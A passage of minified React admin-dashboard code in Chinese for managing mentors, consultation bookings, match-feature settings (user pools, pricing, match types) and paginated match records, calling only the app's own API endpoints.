border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"ID"}),s.jsx(ke,{className:"text-gray-400",children:"姓名"}),s.jsx(ke,{className:"text-gray-400",children:"简介"}),s.jsx(ke,{className:"text-gray-400",children:"单次"}),s.jsx(ke,{className:"text-gray-400",children:"半年"}),s.jsx(ke,{className:"text-gray-400",children:"年度"}),s.jsx(ke,{className:"text-gray-400",children:"排序"}),s.jsx(ke,{className:"text-right text-gray-400",children:"操作"})]})}),s.jsxs(dr,{children:[e.map(R=>s.jsxs(it,{className:"border-gray-700/50",children:[s.jsx(ve,{className:"text-gray-300",children:R.id}),s.jsx(ve,{className:"text-white",children:R.name}),s.jsx(ve,{className:"text-gray-400 max-w-[200px] truncate",children:R.intro||"-"}),s.jsx(ve,{className:"text-gray-400",children:L(R.priceSingle)}),s.jsx(ve,{className:"text-gray-400",children:L(R.priceHalfYear)}),s.jsx(ve,{className:"text-gray-400",children:L(R.priceYear)}),s.jsx(ve,{className:"text-gray-400",children:R.sort}),s.jsxs(ve,{className:"text-right",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>T(R),className:"text-gray-400 hover:text-[#38bdac]",children:s.jsx(Wt,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>O(R.id),className:"text-gray-400 hover:text-red-400",children:s.jsx(Jn,{className:"w-4 h-4"})})]})]},R.id)),e.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:8,className:"text-center py-12 text-gray-500",children:"暂无导师,点击「新增导师」添加"})})]})]})})}),s.jsx(Dt,{open:i,onOpenChange:o,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-lg max-h-[90vh] overflow-y-auto",children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:c?"编辑导师":"新增导师"})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"姓名 *"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:卡若",value:h.name,onChange:R=>f(D=>({...D,name:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"排序"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:h.sort,onChange:R=>f(D=>({...D,sort:parseInt(R.target.value,10)||0}))})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"头像"}),s.jsxs("div",{className:"flex gap-3 items-center",children:[s.jsx(se,{className:"flex-1 bg-[#0a1628] border-gray-700 text-white",value:h.avatar,onChange:R=>f(D=>({...D,avatar:R.target.value})),placeholder:"点击上传或粘贴图片地址"}),s.jsx("input",{ref:w,type:"file",accept:"image/*",className:"hidden",onChange:v}),s.jsxs(te,{type:"button",variant:"outline",size:"sm",className:"border-gray-600 text-gray-400 shrink-0",disabled:y,onClick:()=>{var R;return(R=w.current)==null?void 0:R.click()},children:[s.jsx(uh,{className:"w-4 h-4 mr-2"}),y?"上传中...":"上传"]})]}),h.avatar&&s.jsx("div",{className:"mt-2",children:s.jsx("img",{src:h.avatar.startsWith("http")?h.avatar:go(h.avatar),alt:"头像预览",className:"w-20 h-20 rounded-full object-cover border border-gray-600"})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"简介"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:结构判断型咨询 · Decision > Execution",value:h.intro,onChange:R=>f(D=>({...D,intro:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"技能标签(逗号分隔)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:项目结构判断、风险止损、人×项目匹配",value:h.tags,onChange:R=>f(D=>({...D,tags:R.target.value}))})]}),s.jsxs("div",{className:"border-t border-gray-700 pt-4",children:[s.jsx(X,{className:"text-gray-300 block mb-2",children:"价格配置(每个导师独立)"}),s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"单次咨询 ¥"}),s.jsx(se,{type:"number",step:"0.01",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"980",value:h.priceSingle,onChange:R=>f(D=>({...D,priceSingle:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"半年咨询 ¥"}),s.jsx(se,{type:"number",step:"0.01",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"19800",value:h.priceHalfYear,onChange:R=>f(D=>({...D,priceHalfYear:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"年度咨询 ¥"}),s.jsx(se,{type:"number",step:"0.01",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"29800",value:h.priceYear,onChange:R=>f(D=>({...D,priceYear:R.target.value}))})]})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"引言"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:大多数人失败,不是因为不努力...",value:h.quote,onChange:R=>f(D=>({...D,quote:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"为什么找(文本)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"",value:h.whyFind,onChange:R=>f(D=>({...D,whyFind:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"提供什么(文本)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"",value:h.offering,onChange:R=>f(D=>({...D,offering:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"判断风格(逗号分隔)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:冷静、克制、偏风险视角",value:h.judgmentStyle,onChange:R=>f(D=>({...D,judgmentStyle:R.target.value}))})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("input",{type:"checkbox",id:"enabled",checked:h.enabled,onChange:R=>f(D=>({...D,enabled:R.target.checked})),className:"rounded border-gray-600 bg-[#0a1628]"}),s.jsx(X,{htmlFor:"enabled",className:"text-gray-300 cursor-pointer",children:"上架(小程序可见)"})]})]}),s.jsxs(on,{children:[s.jsxs(te,{variant:"outline",onClick:()=>o(!1),className:"border-gray-600 text-gray-300",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsxs(te,{onClick:I,disabled:m,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),m?"保存中...":"保存"]})]})]})})]})}function MV(){const[t,e]=b.useState([]),[n,r]=b.useState(!0),[a,i]=b.useState("");async function o(){r(!0);try{const h=a?`/api/db/mentor-consultations?status=${a}`:"/api/db/mentor-consultations",f=await De(h);f!=null&&f.success&&f.data&&e(f.data)}catch(h){console.error("Load consultations error:",h)}finally{r(!1)}}b.useEffect(()=>{o()},[a]);const c={created:"已创建",pending_pay:"待支付",paid:"已支付",completed:"已完成",cancelled:"已取消"},u={single:"单次",half_year:"半年",year:"年度"};return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(ch,{className:"w-5 h-5 text-[#38bdac]"}),"导师预约列表"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"stitch_soul 导师咨询预约记录"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsxs("select",{value:a,onChange:h=>i(h.target.value),className:"bg-[#0f2137] border border-gray-700 rounded-lg px-3 py-2 text-gray-300 text-sm",children:[s.jsx("option",{value:"",children:"全部状态"}),Object.entries(c).map(([h,f])=>s.jsx("option",{value:h,children:f},h))]}),s.jsxs(te,{onClick:o,disabled:n,variant:"outline",className:"border-gray-600 text-gray-300",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${n?"animate-spin":""}`}),"刷新"]})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-0",children:n?s.jsx("div",{className:"py-12 text-center text-gray-400",children:"加载中..."}):s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"ID"}),s.jsx(ke,{className:"text-gray-400",children:"用户ID"}),s.jsx(ke,{className:"text-gray-400",children:"导师ID"}),s.jsx(ke,{className:"text-gray-400",children:"类型"}),s.jsx(ke,{className:"text-gray-400",children:"金额"}),s.jsx(ke,{className:"text-gray-400",children:"状态"}),s.jsx(ke,{className:"text-gray-400",children:"创建时间"})]})}),s.jsxs(dr,{children:[t.map(h=>s.jsxs(it,{className:"border-gray-700/50",children:[s.jsx(ve,{className:"text-gray-300",children:h.id}),s.jsx(ve,{className:"text-gray-400",children:h.userId}),s.jsx(ve,{className:"text-gray-400",children:h.mentorId}),s.jsx(ve,{className:"text-gray-400",children:u[h.consultationType]||h.consultationType}),s.jsxs(ve,{className:"text-white",children:["¥",h.amount]}),s.jsx(ve,{className:"text-gray-400",children:c[h.status]||h.status}),s.jsx(ve,{className:"text-gray-500 text-sm",children:h.createdAt})]},h.id)),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:7,className:"text-center py-12 text-gray-500",children:"暂无预约记录"})})]})]})})})]})}const Lc={poolSource:["vip"],requirePhone:!0,requireNickname:!0,requireAvatar:!1,requireBusiness:!1},Sw={matchTypes:[{id:"partner",label:"找伙伴",matchLabel:"找伙伴",icon:"⭐",matchFromDB:!0,showJoinAfterMatch:!1,price:1,enabled:!0},{id:"investor",label:"资源对接",matchLabel:"资源对接",icon:"👥",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0},{id:"mentor",label:"导师顾问",matchLabel:"导师顾问",icon:"❤️",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0},{id:"team",label:"团队招募",matchLabel:"加入项目",icon:"🎮",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0}],freeMatchLimit:3,matchPrice:1,settings:{enableFreeMatches:!0,enablePaidMatches:!0,maxMatchesPerDay:10},poolSettings:Lc},AV=["⭐","👥","❤️","🎮","💼","🚀","💡","🎯","🔥","✨"];function IV(){const t=Ci(),[e,n]=b.useState(Sw),[r,a]=b.useState(!0),[i,o]=b.useState(!1),[c,u]=b.useState(!1),[h,f]=b.useState(null),[m,g]=b.useState({id:"",label:"",matchLabel:"",icon:"⭐",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0}),[y,N]=b.useState(null),[w,v]=b.useState(!1),k=async()=>{v(!0);try{const D=await De("/api/db/match-pool-counts");D!=null&&D.success&&D.data&&N(D.data)}catch(D){console.error("加载池子人数失败:",D)}finally{v(!1)}},C=async()=>{a(!0);try{const D=await De("/api/db/config/full?key=match_config"),_=(D==null?void 0:D.data)??(D==null?void 0:D.config);if(_){let Z=_.poolSettings??Lc;Z.poolSource&&!Array.isArray(Z.poolSource)&&(Z={...Z,poolSource:[Z.poolSource]}),n({...Sw,..._,poolSettings:Z})}}catch(D){console.error("加载匹配配置失败:",D)}finally{a(!1)}};b.useEffect(()=>{C(),k()},[]);const E=async()=>{o(!0);try{const D=await vt("/api/db/config",{key:"match_config",value:e,description:"匹配功能配置"});ie.error((D==null?void 0:D.success)!==!1?"配置保存成功!":"保存失败: "+((D==null?void 0:D.error)||"未知错误"))}catch(D){console.error(D),ie.error("保存失败")}finally{o(!1)}},T=D=>{f(D),g({...D}),u(!0)},I=()=>{f(null),g({id:"",label:"",matchLabel:"",icon:"⭐",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0}),u(!0)},O=()=>{if(!m.id||!m.label){ie.error("请填写类型ID和名称");return}const D=[...e.matchTypes];if(h){const _=D.findIndex(Z=>Z.id===h.id);_!==-1&&(D[_]={...m})}else{if(D.some(_=>_.id===m.id)){ie.error("类型ID已存在");return}D.push({...m})}n({...e,matchTypes:D}),u(!1)},L=D=>{confirm("确定要删除这个匹配类型吗?")&&n({...e,matchTypes:e.matchTypes.filter(_=>_.id!==D)})},R=D=>{n({...e,matchTypes:e.matchTypes.map(_=>_.id===D?{..._,enabled:!_.enabled}:_)})};return s.jsxs("div",{className:"space-y-6",children:[s.jsxs("div",{className:"flex justify-end gap-3",children:[s.jsxs(te,{variant:"outline",onClick:C,disabled:r,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${r?"animate-spin":""}`})," 刷新"]}),s.jsxs(te,{onClick:E,disabled:i,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"})," ",i?"保存中...":"保存配置"]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Qw,{className:"w-5 h-5 text-blue-400"})," 匹配池选择"]}),s.jsx(It,{className:"text-gray-400",children:"选择匹配的用户池和完善程度要求,只有满足条件的用户才可被匹配到"})]}),s.jsxs(Ee,{className:"space-y-6",children:[s.jsxs("div",{className:"space-y-3",children:[s.jsx(X,{className:"text-gray-300",children:"匹配来源池"}),s.jsx("p",{className:"text-gray-500 text-xs",children:"可同时勾选多个池子(取并集匹配)"}),s.jsx("div",{className:"grid grid-cols-1 md:grid-cols-3 gap-3",children:[{value:"vip",label:"超级个体(VIP会员)",desc:"付费 ¥1980 的VIP会员",icon:"👑",countKey:"vip"},{value:"complete",label:"完善资料用户",desc:"符合下方完善度要求的用户",icon:"✅",countKey:"complete"},{value:"all",label:"全部用户",desc:"所有已注册用户",icon:"👥",countKey:"all"}].map(D=>{const _=e.poolSettings??Lc,ne=(Array.isArray(_.poolSource)?_.poolSource:[_.poolSource]).includes(D.value),fe=y==null?void 0:y[D.countKey],xe=()=>{const $=Array.isArray(_.poolSource)?[..._.poolSource]:[_.poolSource],H=ne?$.filter(oe=>oe!==D.value):[...$,D.value];H.length===0&&H.push(D.value),n({...e,poolSettings:{..._,poolSource:H}})};return s.jsxs("button",{type:"button",onClick:xe,className:`p-4 rounded-lg border text-left transition-all ${ne?"border-[#38bdac] bg-[#38bdac]/10":"border-gray-700 bg-[#0a1628] hover:border-gray-600"}`,children:[s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:`w-5 h-5 rounded border-2 flex items-center justify-center text-xs ${ne?"border-[#38bdac] bg-[#38bdac] text-white":"border-gray-600"}`,children:ne&&"✓"}),s.jsx("span",{className:"text-xl",children:D.icon}),s.jsx("span",{className:`text-sm font-medium ${ne?"text-[#38bdac]":"text-gray-300"}`,children:D.label})]}),s.jsxs("span",{className:"text-lg font-bold text-white",children:[w?"...":fe??"-",s.jsx("span",{className:"text-xs text-gray-500 font-normal ml-1",children:"人"})]})]}),s.jsx("p",{className:"text-gray-500 text-xs mt-2",children:D.desc}),s.jsx("span",{role:"link",tabIndex:0,onClick:$=>{$.stopPropagation(),t(`/users?pool=${D.value}`)},onKeyDown:$=>{$.key==="Enter"&&($.stopPropagation(),t(`/users?pool=${D.value}`))},className:"text-[#38bdac] text-xs mt-2 inline-block hover:underline cursor-pointer",children:"查看用户列表 →"})]},D.value)})})]}),s.jsxs("div",{className:"space-y-3 pt-4 border-t border-gray-700/50",children:[s.jsx(X,{className:"text-gray-300",children:"用户资料完善要求(被匹配用户必须满足以下条件)"}),s.jsx("div",{className:"grid grid-cols-2 md:grid-cols-4 gap-4",children:[{key:"requirePhone",label:"有手机号",icon:"📱"},{key:"requireNickname",label:"有昵称",icon:"👤"},{key:"requireAvatar",label:"有头像",icon:"🖼️"},{key:"requireBusiness",label:"有业务需求",icon:"💼"}].map(D=>{const Z=(e.poolSettings??Lc)[D.key];return s.jsxs("div",{className:"flex items-center gap-3 bg-[#0a1628] rounded-lg p-3",children:[s.jsx(kt,{checked:Z,onCheckedChange:ne=>n({...e,poolSettings:{...e.poolSettings??Lc,[D.key]:ne}})}),s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("span",{children:D.icon}),s.jsx(X,{className:"text-gray-300 text-sm",children:D.label})]})]},D.key)})})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(li,{className:"w-5 h-5 text-yellow-400"})," 基础设置"]}),s.jsx(It,{className:"text-gray-400",children:"配置免费匹配次数和付费规则"})]}),s.jsxs(Ee,{className:"space-y-6",children:[s.jsxs("div",{className:"grid grid-cols-1 md:grid-cols-3 gap-6",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"每日免费匹配次数"}),s.jsx(se,{type:"number",min:0,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:e.freeMatchLimit,onChange:D=>n({...e,freeMatchLimit:parseInt(D.target.value,10)||0})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"付费匹配价格(元)"}),s.jsx(se,{type:"number",min:.01,step:.01,className:"bg-[#0a1628] border-gray-700 text-white",value:e.matchPrice,onChange:D=>n({...e,matchPrice:parseFloat(D.target.value)||1})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"每日最大匹配次数"}),s.jsx(se,{type:"number",min:1,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:e.settings.maxMatchesPerDay,onChange:D=>n({...e,settings:{...e.settings,maxMatchesPerDay:parseInt(D.target.value,10)||10}})})]})]}),s.jsxs("div",{className:"flex gap-8 pt-4 border-t border-gray-700/50",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:e.settings.enableFreeMatches,onCheckedChange:D=>n({...e,settings:{...e.settings,enableFreeMatches:D}})}),s.jsx(X,{className:"text-gray-300",children:"启用免费匹配"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:e.settings.enablePaidMatches,onCheckedChange:D=>n({...e,settings:{...e.settings,enablePaidMatches:D}})}),s.jsx(X,{className:"text-gray-300",children:"启用付费匹配"})]})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between",children:[s.jsxs("div",{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Zn,{className:"w-5 h-5 text-[#38bdac]"})," 匹配类型管理"]}),s.jsx(It,{className:"text-gray-400",children:"配置不同的匹配类型及其价格"})]}),s.jsxs(te,{onClick:I,size:"sm",className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(hn,{className:"w-4 h-4 mr-1"})," 添加类型"]})]}),s.jsx(Ee,{children:s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"图标"}),s.jsx(ke,{className:"text-gray-400",children:"类型ID"}),s.jsx(ke,{className:"text-gray-400",children:"显示名称"}),s.jsx(ke,{className:"text-gray-400",children:"匹配标签"}),s.jsx(ke,{className:"text-gray-400",children:"价格"}),s.jsx(ke,{className:"text-gray-400",children:"数据库匹配"}),s.jsx(ke,{className:"text-gray-400",children:"状态"}),s.jsx(ke,{className:"text-right text-gray-400",children:"操作"})]})}),s.jsx(dr,{children:e.matchTypes.map(D=>s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsx(ve,{children:s.jsx("span",{className:"text-2xl",children:D.icon})}),s.jsx(ve,{className:"font-mono text-gray-300",children:D.id}),s.jsx(ve,{className:"text-white font-medium",children:D.label}),s.jsx(ve,{className:"text-gray-300",children:D.matchLabel}),s.jsx(ve,{children:s.jsxs(qe,{className:"bg-yellow-500/20 text-yellow-400 hover:bg-yellow-500/20 border-0",children:["¥",D.price]})}),s.jsx(ve,{children:D.matchFromDB?s.jsx(qe,{className:"bg-green-500/20 text-green-400 hover:bg-green-500/20 border-0",children:"是"}):s.jsx(qe,{variant:"outline",className:"text-gray-500 border-gray-600",children:"否"})}),s.jsx(ve,{children:s.jsx(kt,{checked:D.enabled,onCheckedChange:()=>R(D.id)})}),s.jsx(ve,{className:"text-right",children:s.jsxs("div",{className:"flex items-center justify-end gap-1",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>T(D),className:"text-gray-400 hover:text-[#38bdac] hover:bg-[#38bdac]/10",children:s.jsx(Wt,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>L(D.id),className:"text-red-400 hover:text-red-300 hover:bg-red-500/10",children:s.jsx(Jn,{className:"w-4 h-4"})})]})})]},D.id))})]})})]}),s.jsx(Dt,{open:c,onOpenChange:u,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-lg",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[h?s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}):s.jsx(hn,{className:"w-5 h-5 text-[#38bdac]"}),h?"编辑匹配类型":"添加匹配类型"]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"类型ID(英文)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: partner",value:m.id,onChange:D=>g({...m,id:D.target.value}),disabled:!!h})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"图标"}),s.jsx("div",{className:"flex gap-1 flex-wrap",children:AV.map(D=>s.jsx("button",{type:"button",className:`w-8 h-8 text-lg rounded ${m.icon===D?"bg-[#38bdac]/30 ring-1 ring-[#38bdac]":"bg-[#0a1628]"}`,onClick:()=>g({...m,icon:D}),children:D},D))})]})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"显示名称"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: 超级个体",value:m.label,onChange:D=>g({...m,label:D.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"匹配标签"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: 超级个体",value:m.matchLabel,onChange:D=>g({...m,matchLabel:D.target.value})})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"单次匹配价格(元)"}),s.jsx(se,{type:"number",min:.01,step:.01,className:"bg-[#0a1628] border-gray-700 text-white",value:m.price,onChange:D=>g({...m,price:parseFloat(D.target.value)||1})})]}),s.jsxs("div",{className:"flex gap-6 pt-2",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:m.matchFromDB,onCheckedChange:D=>g({...m,matchFromDB:D})}),s.jsx(X,{className:"text-gray-300 text-sm",children:"从数据库匹配"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:m.showJoinAfterMatch,onCheckedChange:D=>g({...m,showJoinAfterMatch:D})}),s.jsx(X,{className:"text-gray-300 text-sm",children:"匹配后显示加入"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:m.enabled,onCheckedChange:D=>g({...m,enabled:D})}),s.jsx(X,{className:"text-gray-300 text-sm",children:"启用"})]})]})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",onClick:()=>u(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsxs(te,{onClick:O,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"})," 保存"]})]})]})})]})}const Cw={partner:"找伙伴",investor:"资源对接",mentor:"导师顾问",team:"团队招募"};function RV(){const[t,e]=b.useState([]),[n,r]=b.useState(0),[a,i]=b.useState(1),[o,c]=b.useState(10),[u,h]=b.useState(""),[f,m]=b.useState(!0),[g,y]=b.useState(null),[N,w]=b.useState(null);async function v(){m(!0),y(null);try{const E=new URLSearchParams({page:String(a),pageSize:String(o)});u&&E.set("matchType",u);const T=await De(`/api/db/match-records?${E}`);T!=null&&T.success?(e(T.records||[]),r(T.total??0)):y("加载匹配记录失败")}catch{y("加载失败,请检查网络后重试")}finally{m(!1)}}b.useEffect(()=>{v()},[a,u]);const k=Math.ceil(n/o)||1,C=({userId:E,nickname:T,avatar:I})=>s.jsxs("div",{className:"flex items-center gap-3 cursor-pointer group",onClick:()=>w(E),children:[s.jsxs("div",{className:"w-9 h-9 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm font-medium text-[#38bdac] flex-shrink-0 overflow-hidden",children:[I?s.jsx("img",{src:I,alt:"",className:"w-full h-full object-cover",onError:O=>{O.currentTarget.style.display="none"}}):null,s.jsx("span",{className:I?"hidden":"",children:(T||E||"?").charAt(0)})]}),s.jsxs("div",{children:[s.jsx("div",{className:"text-white group-hover:text-[#38bdac] transition-colors",children:T||E}),s.jsxs("div",{className:"text-xs text-gray-500 font-mono",children:[E==null?void 0:E.slice(0,16),(E==null?void 0:E.length)>16?"...":""]})]})]});return s.jsxs("div",{children:[g&&s.jsxs("div",{className:"mb-4 px-4 py-3 rounded-lg bg-red-500/20 border border-red-500/50 text-red-400 text-sm flex items-center justify-between",children:[s.jsx("span",{children:g}),s.jsx("button",{type:"button",onClick:()=>y(null),className:"hover:text-red-300",children:"×"})]}),s.jsxs("div",{className:"flex justify-between items-center mb-4",children:[s.jsxs("p",{className:"text-gray-400",children:["共 ",n," 条匹配记录 · 点击用户名查看详情"]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("select",{value:u,onChange:E=>{h(E.target.value),i(1)},className:"bg-[#0f2137] border border-gray-700 text-white rounded-lg px-3 py-2 text-sm",children:[s.jsx("option",{value:"",children:"全部类型"}),Object.entries(Cw).map(([E,T])=>s.jsx("option",{value:E,children:T},E))]}),s.jsxs("button",{type:"button",onClick:v,disabled:f,className:"flex items-center gap-2 px-4 py-2 rounded-lg border border-gray-600 text-gray-300 hover:bg-gray-700/50 transition-colors disabled:opacity-50",children:[s.jsx(Ke,{className:`w-4 h-4 ${f?"animate-spin":""}`})," 刷新"]})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:f?s.jsxs("div",{className:"flex justify-center py-12",children:[s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"发起人"}),s.jsx(ke,{className:"text-gray-400",children:"匹配到"}),s.jsx(ke,{className:"text-gray-400",children:"类型"}),s.jsx(ke,{className:"text-gray-400",children:"联系方式"}),s.jsx(ke,{className:"text-gray-400",children:"匹配时间"})]})}),s.jsxs(dr,{children:[t.map(E=>s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsx(ve,{children:s.jsx(C,{userId:E.userId,nickname:E.userNickname,avatar:E.userAvatar})}),s.jsx(ve,{children:E.matchedUserId?s.jsx(C,{userId:E.matchedUserId,nickname:E.matchedNickname,avatar:E.matchedUserAvatar}):s.jsx("span",{className:"text-gray-500",children:"—"})}),s.jsx(ve,{children:s.jsx(qe,{className:"bg-[#38bdac]/20 text-[#38bdac] border-0",children:Cw[E.matchType]||E.matchType})}),s.jsxs(ve,{className:"text-sm",children:[E.phone&&s.jsxs("div",{className:"text-green-400",children:["📱 ",E.phone]}),E.wechatId&&s.jsxs("div",{className:"text-blue-400",children:["💬 ",E.wechatId]}),!E.phone&&!E.wechatId&&s.jsx("span",{className:"text-gray-600",children:"-"})]}),s.jsx(ve,{className:"text-gray-400",children:E.createdAt?new Date(E.createdAt).toLocaleString():"-"})]},E.id)),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:5,className:"text-center py-12 text-gray-500",children:"暂无匹配记录"})})]})]}),s.jsx(is,{page:a,totalPages:k,total:n,pageSize:o,onPageChange:i,onPageSizeChange:E=>{c(E),i(1)}})]})})}),s.jsx(n0,{open:!!N,onClose:()=>w(null),userId:N,onUserUpdated:v})]})}function PV(){const[t,e]=b.useState("records");return s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex gap-2",children:[s.jsx("button",{type:"button",onClick:()=>e("records"),className:`px-4 py-2 rounded-lg text-sm font-medium transition-all ${t==="records"?"bg-[#38bdac]/20 text-[#38bdac] border border-[#38bdac]/50":"bg-[#0a1628] text-gray-400 border border-gray-700 hover:text-white"}`,children:"匹配记录"}),s.jsx("button",{type:"button",onClick:()=>e("pool"),className:`px-4 py-2 